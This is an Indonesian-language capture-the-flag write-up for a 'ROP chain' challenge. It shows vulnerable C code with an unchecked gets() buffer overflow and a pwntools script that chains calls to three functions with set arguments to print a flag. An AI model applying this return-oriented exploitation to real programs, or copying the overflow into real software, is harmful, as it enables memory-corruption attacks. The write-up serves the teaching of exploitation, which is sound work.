Untuk soal ini, kita diberikan sebuah file binary dan source code C.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 |
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <stdbool.h> #define BUFSIZE 16 bool win1 = false; bool win2 = false; void win_function1() { win1 = true; } void win_function2(unsigned int arg_check1) { if (win1 && arg_check1 == 0xBAAAAAAD) { win2 = true; } else if (win1) { printf("Wrong Argument. Try Again.\n"); } else { printf("Nope. Try a little bit harder.\n"); } } void flag(unsigned int arg_check2) { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); if (win1 && win2 && arg_check2 == 0xDEADBAAD) { printf("%s", flag); return; } else if (win1 && win2) { printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n"); } else if (win1 || win2) { printf("Nice Try! You're Getting There!\n"); } else { printf("You won't get the flag that easy..\n"); } } void vuln() { char buf[16]; printf("Enter your input> "); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); } |
Untuk konfigurasi file binary masih sama seperti writeup ini.
Dilihat dari source code C yang kita dapat, kita harus mendapatkan value true pada fungsi win1 dan win2 untuk bisa mendapatkan flag yang terdapat pada fungsi flag. Tapi permasalahannya ketiga fungsi tersebut tidak pernah dipanggil oleh program. Lalu pada fungsi vuln, terdapat pengisian input dengan menggunakan fungsi gets dan array sebesar 16. Tidak hanya itu, untuk bisa mendapatkan nilai true pada fungsi win2 dan mendapatkan flag pada fungsi flag, ada validasi yang harus kita lewati terlebih dahulu.
1 2 3 4 5 6 7 8 9 10 11 |
void win_function2(unsigned int arg_check1) { if (win1 && arg_check1 == 0xBAAAAAAD) { win2 = true; } else if (win1) { printf("Wrong Argument. Try Again.\n"); } else { printf("Nope. Try a little bit harder.\n"); } } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
void flag(unsigned int arg_check2) { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); if (win1 && win2 && arg_check2 == 0xDEADBAAD) { printf("%s", flag); return; } else if (win1 && win2) { printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n"); } else if (win1 || win2) { printf("Nice Try! You're Getting There!\n"); } else { printf("You won't get the flag that easy..\n"); } } |
Kita harus memasukkan value 0xBAAAAAAD pada argument fungsi win2 dan 0xDEADBAAD pada argument fungsi flag.
Lalu bagaimana kita akan mendapatkan flag jika fungsinya saja tidak dipanggil?
Jawabannya? ROPchain (seperti pada judul soal).
Untuk melakukan exploit ROPchain, kita memerlukan beberapa hal, antara lain:
- Alamat fungsi win1
- Alamat fungsi win2
- Alamat fungsi flag
- Argument untuk fungsi win2 dan flag
Untuk mendapatkan 3 alamat fungsi pada 3 poin pertama, kita bisa gunakan gdb.
$ gdb rop
$ info function -> Menampilkan semua fungsi yang dipanggil oleh program
Disini terlihat bahwa alamat fungsi adalah sebagai berikut:
1 2 3 |
win_function1 -> 0x080485cb win_function2 -> 0x080485d8 flag -> 0x0804862b |
Nah, sekarang kita sudah punya semua yang kita butuhkan. Sekarang? Tinggal menyusun exploit.
Rencana exploit kita adalah sebagai berikut:
- Mengisi buffer
- Overwrite EBP
- Panggil fungsi win1
- Panggil fungsi win2
- Panggil fungsi flag
- Argument fungsi win2
- Argument fungsi flag
Berikut adalah script exploit yang digunakan:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
from pwn import * elf = ELF('./rop') r = process(elf.path) ''' The basic pattern to call a function with args is like this: - Function address - Exit address - Args address But in this challenge, because we need to chain the function call, the exit address will be the next function we're gonna call. So the payload will look like this: - Function 1 address - Function 2 address - Function 3 address - Function's args goes here ''' def exploit(): r.recvuntil('> ') # Buffer until offset of EIP buffer = 'a' * 28 # win1 function address win1 = 0x80485cb # win2 function address win2 = 0x80485d8 # flag function address flag = 0x804862b # Argument for win2 function arg_check = 0xBAAAAAAD # Argument for flag function arg_check2 = 0xDEADBAAD # Fill the buffer payload = buffer # Call function win1 payload += p32(win1) # Call function win2 payload += p32(win2) # Call function flag payload += p32(flag) # Call argument for function win2 payload += p32(arg_check) # Call argument for function flag payload += p32(arg_check2) r.sendline(payload) r.interactive() exploit() |